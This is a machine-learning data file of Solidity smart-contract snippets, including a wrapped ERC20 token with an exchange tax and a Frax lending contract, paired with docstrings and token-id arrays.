function startTaxUpdate(uint256 _newTaxPercentage) public onlyAdmin {
require(_newTaxPercentage <= 1000, "Tax must be less or equal to 100% (1000)");
taxUpdate.isExecuted = false;
taxUpdate.timelock = block.number + 6000; //25 hours
taxUpdate.newTaxPercentage = _newTaxPercentage;
}
function executeTaxUpdate() public onlyAdmin {
require(taxUpdate.timelock != 0, 'Call startTaxUpdate() first');
require(taxUpdate.timelock < block.number, 'Timelock not unlocked yet');
require(!taxUpdate.isExecuted, 'Last update already executed');
taxUpdate.isExecuted = true;
taxPercentage = taxUpdate.newTaxPercentage;
}
/**
* @dev Add/remove address from list of exchanges
*/
function modifyExchanges(address _exchange, bool _add) public onlyAdmin {
if (_add){
//We are adding new exchange address
require(!isExchange[_exchange], "Exchange already added");
isExchange[_exchange] = true;
} else {
//We are removing exchnage address
require(isExchange[_exchange], "Exchange does not exist");
isExchange[_exchange] = false;
}
}
/**
* @dev Add/remove address from list of admins.
* Admin can change list of exchanges (taxed addresses)
*/
function modifyAdmin(address _admin, bool _add) public onlyAdmin {
if (_add){
//We are adding new exchange address
require(!isAdmin[_admin], "Admin already added");
isAdmin[_admin] = true;
} else {
//We are removing exchange address
require(isAdmin[_admin], "Admin does not exist");
isAdmin[_admin] = false;
}
}
/**
* @dev Modify tax address.
*/
function modifyTaxCollector(address _tax) public onlyAdmin {
taxCollector = _tax;
}
//change depositAddress
function setDepositAddress(address _address) public {
require(msg.sender == depositAddress, 'You are not depositAddress');
depositAddress = _address;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*
* Requirements:
*
* - Blockchain `username`
*/
function convertTokenWithTransfer(uint256 amount, string memory username) public {
_transfer(_msgSender(), depositAddress, amount);
emit convertToken(amount, username);
}
/**
* @dev See {ERC20-_burnFrom}.
*
* Requirements:
*
* - Blockchain `username`
*/
function convertTokenFromWithTransfer(
address sender,
address recipient,
uint256 amount,
string memory username
) public {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
emit convertToken(amount, username);
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*
* If recipient or sender is exchange, transaction will be taxed 1.7%
* Tax is sent to our taxAddress
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
if (isExchange[msg.sender] || isExchange[recipient]){
uint256 tax = amount.mul(taxPercentage).div(1000);
_transfer(_msgSender(), recipient, amount - tax);
_transfer(_msgSender(), taxCollector, tax);
return true;
} else {
_transfer(_msgSender(), recipient, amount);
return true;
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
if (isExchange[sender] || isExchange[recipient]){
uint256 tax = amount.mul(taxPercentage).div(1000);
_transfer(sender, recipient, amount - tax);
_transfer(sender, taxCollector, tax);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
} else {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\ERC20.sol
// File: node_modules\@openzeppelin\contracts\access\Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: node_modules\@openzeppelin\contracts\access\roles\MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20Mintable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20Burnable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
// File: node_modules\@openzeppelin\contracts\access\roles\PauserRole.sol
pragma solidity ^0.5.0;
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: node_modules\@openzeppelin\contracts\lifecycle\Pausable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20Pausable.sol
pragma solidity ^0.5.0;
/**
* @title Pausable token
* @dev ERC20 with pausable transfers and allowances.
*
* Useful if you want to stop trades until the end of a crowdsale, or have
* an emergency switch for freezing all token transfers in the event of a large
* bug.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
// File: @openzeppelin\contracts\ownership\Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts\WrappedToken.sol
pragma solidity ^0.5.1;
contract WrappedToken is
ERC20,
ERC20Mintable,
ERC20Pausable,
Ownable
{
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
}
/**
* @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens.
*/
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20Mintable-mint}.
*
* Requirements:
*
* - `value` must not cause the total supply to go over the cap.
*/
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
// File: contracts\wToken.sol
pragma solidity ^0.5.1;
contract WREVX is WrappedToken, ERC20Capped(28800000000000), ERC20Detailed("Wrapped Revelation Token", "WREVX", 8) {} | * @dev See {ERC20-_burnFrom}. Requirements: - Blockchain `username`/ | function convertTokenFromWithTransfer(
address sender,
address recipient,
uint256 amount,
string memory username
) public {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
emit convertToken(amount, username);
}
| 10,592,119 | [
1,
9704,
288,
654,
39,
3462,
17,
67,
70,
321,
1265,
5496,
29076,
30,
300,
3914,
5639,
1375,
5053,
68,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1765,
1345,
1265,
1190,
5912,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
533,
3778,
2718,
203,
565,
262,
1071,
288,
203,
3639,
389,
13866,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
3639,
389,
12908,
537,
12,
15330,
16,
389,
3576,
12021,
9334,
389,
5965,
6872,
63,
15330,
6362,
67,
3576,
12021,
1435,
8009,
1717,
12,
8949,
16,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
1699,
1359,
7923,
1769,
203,
3639,
3626,
1765,
1345,
12,
8949,
16,
2718,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/40/0x5C8F2334BD0e7B76e15a7869E31c1F1A654a2B62/sources/contracts/artifacts/gluedog.sol | 1,111,111 tokens with 18 decimal places.
| uint256 _totalSupply = 1111111000000000000000000; | 9,548,512 | [
1,
21,
16,
20227,
16,
20227,
2430,
598,
6549,
6970,
12576,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
389,
4963,
3088,
1283,
273,
16344,
23680,
12648,
2787,
9449,
31,
377,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// ====================================================================
// | ______ _______ |
// | / _____________ __ __ / ____(_____ ____ _____ ________ |
// | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ |
// | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ |
// | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ |
// | |
// ====================================================================
// ========================== FraxLendingAMO ==========================
// ====================================================================
// Frax Finance: https://github.com/FraxFinance
// Primary Author(s)
// Travis Moore: https://github.com/FortisFortuna
// Reviewer(s) / Contributor(s)
// Jason Huan: https://github.com/jasonhuan
// Sam Kazemian: https://github.com/samkazemian
import "../Math/SafeMath.sol";
import "../FXS/FXS.sol";
import "../Frax/Frax.sol";
import "../ERC20/ERC20.sol";
import "../ERC20/Variants/Comp.sol";
import "../Oracle/UniswapPairOracle.sol";
import "../Governance/AccessControl.sol";
import "../Frax/Pools/FraxPool.sol";
import "./cream/ICREAM_crFRAX.sol";
import "./finnexus/IFNX_CFNX.sol";
import "./finnexus/IFNX_FPT_FRAX.sol";
import "./finnexus/IFNX_FPT_B.sol";
import "./finnexus/IFNX_IntegratedStake.sol";
import "./finnexus/IFNX_MinePool.sol";
import "./finnexus/IFNX_TokenConverter.sol";
import "./finnexus/IFNX_ManagerProxy.sol";
import "./finnexus/IFNX_Oracle.sol";
contract FraxLendingAMO is AccessControl {
using SafeMath for uint256;
/* ========== STATE VARIABLES ========== */
ERC20 private collateral_token;
FRAXShares private FXS;
FRAXStablecoin private FRAX;
FraxPool private pool;
// Cream
ICREAM_crFRAX private crFRAX = ICREAM_crFRAX(0xb092b4601850E23903A42EaCBc9D8A0EeC26A4d5);
// FinNexus
// More addresses: https://github.com/FinNexus/FinNexus-Documentation/blob/master/content/developers/smart-contracts.md
IFNX_FPT_FRAX private fnxFPT_FRAX = IFNX_FPT_FRAX(0x39ad661bA8a7C9D3A7E4808fb9f9D5223E22F763);
IFNX_FPT_B private fnxFPT_B = IFNX_FPT_B(0x7E605Fb638983A448096D82fFD2958ba012F30Cd);
IFNX_IntegratedStake private fnxIntegratedStake = IFNX_IntegratedStake(0x23e54F9bBe26eD55F93F19541bC30AAc2D5569b2);
IFNX_MinePool private fnxMinePool = IFNX_MinePool(0x4e6005396F80a737cE80d50B2162C0a7296c9620);
IFNX_TokenConverter private fnxTokenConverter = IFNX_TokenConverter(0x955282b82440F8F69E901380BeF2b603Fba96F3b);
IFNX_ManagerProxy private fnxManagerProxy = IFNX_ManagerProxy(0xa2904Fd151C9d9D634dFA8ECd856E6B9517F9785);
IFNX_Oracle private fnxOracle = IFNX_Oracle(0x43BD92bF3Bb25EBB3BdC2524CBd6156E3Fdd41F3);
// Reward Tokens
IFNX_CFNX private CFNX = IFNX_CFNX(0x9d7beb4265817a4923FAD9Ca9EF8af138499615d);
ERC20 private FNX = ERC20(0xeF9Cd7882c067686691B6fF49e650b43AFBBCC6B);
address public collateral_address;
address public pool_address;
address public owner_address;
address public timelock_address;
address public custodian_address;
uint256 public immutable missing_decimals;
uint256 private constant PRICE_PRECISION = 1e6;
// Max amount of FRAX this contract mint
uint256 public mint_cap = uint256(100000e18);
// Minimum collateral ratio needed for new FRAX minting
uint256 public min_cr = 850000;
// Amount the contract borrowed
uint256 public minted_sum_historical = 0;
uint256 public burned_sum_historical = 0;
// Allowed strategies (can eventually be made into an array)
bool public allow_cream = true;
bool public allow_finnexus = true;
/* ========== CONSTRUCTOR ========== */
constructor(
address _frax_contract_address,
address _fxs_contract_address,
address _pool_address,
address _collateral_address,
address _owner_address,
address _custodian_address,
address _timelock_address
) public {
FRAX = FRAXStablecoin(_frax_contract_address);
FXS = FRAXShares(_fxs_contract_address);
pool_address = _pool_address;
pool = FraxPool(_pool_address);
collateral_address = _collateral_address;
collateral_token = ERC20(_collateral_address);
timelock_address = _timelock_address;
owner_address = _owner_address;
custodian_address = _custodian_address;
missing_decimals = uint(18).sub(collateral_token.decimals());
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/* ========== MODIFIERS ========== */
modifier onlyByOwnerOrGovernance() {
require(msg.sender == timelock_address || msg.sender == owner_address, "You are not the owner or the governance timelock");
_;
}
modifier onlyCustodian() {
require(msg.sender == custodian_address, "You are not the rewards custodian");
_;
}
/* ========== VIEWS ========== */
function showAllocations() external view returns (uint256[10] memory allocations) {
// IMPORTANT
// Should ONLY be used externally, because it may fail if any one of the functions below fail
// All numbers given are in FRAX unless otherwise stated
allocations[0] = FRAX.balanceOf(address(this)); // Unallocated FRAX
allocations[1] = (crFRAX.balanceOf(address(this)).mul(crFRAX.exchangeRateStored()).div(1e18)); // Cream
allocations[2] = (fnxMinePool.getUserFPTABalance(address(this))).mul(1e8).div(fnxManagerProxy.getTokenNetworth()); // Staked FPT-FRAX
allocations[3] = (fnxFPT_FRAX.balanceOf(address(this))).mul(1e8).div(fnxManagerProxy.getTokenNetworth()); // Free FPT-FRAX
allocations[4] = fnxTokenConverter.lockedBalanceOf(address(this)); // Unwinding CFNX
allocations[5] = fnxTokenConverter.getClaimAbleBalance(address(this)); // Claimable Unwound FNX
allocations[6] = FNX.balanceOf(address(this)); // Free FNX
uint256 sum_fnx = allocations[4];
sum_fnx = sum_fnx.add(allocations[5]);
sum_fnx = sum_fnx.add(allocations[6]);
allocations[7] = sum_fnx; // Total FNX possessed in various forms
uint256 sum_frax = allocations[0];
sum_frax = sum_frax.add(allocations[1]);
sum_frax = sum_frax.add(allocations[2]);
sum_frax = sum_frax.add(allocations[3]);
allocations[8] = sum_frax; // Total FRAX possessed in various forms
allocations[9] = collatDollarBalance();
}
function showRewards() external view returns (uint256[1] memory rewards) {
// IMPORTANT
// Should ONLY be used externally, because it may fail if FNX.balanceOf() fails
rewards[0] = FNX.balanceOf(address(this)); // FNX
}
// In FRAX
function mintedBalance() public view returns (uint256){
if (minted_sum_historical > burned_sum_historical) return minted_sum_historical.sub(burned_sum_historical);
else return 0;
}
// In FRAX
function historicalProfit() public view returns (uint256){
if (burned_sum_historical > minted_sum_historical) return burned_sum_historical.sub(minted_sum_historical);
else return 0;
}
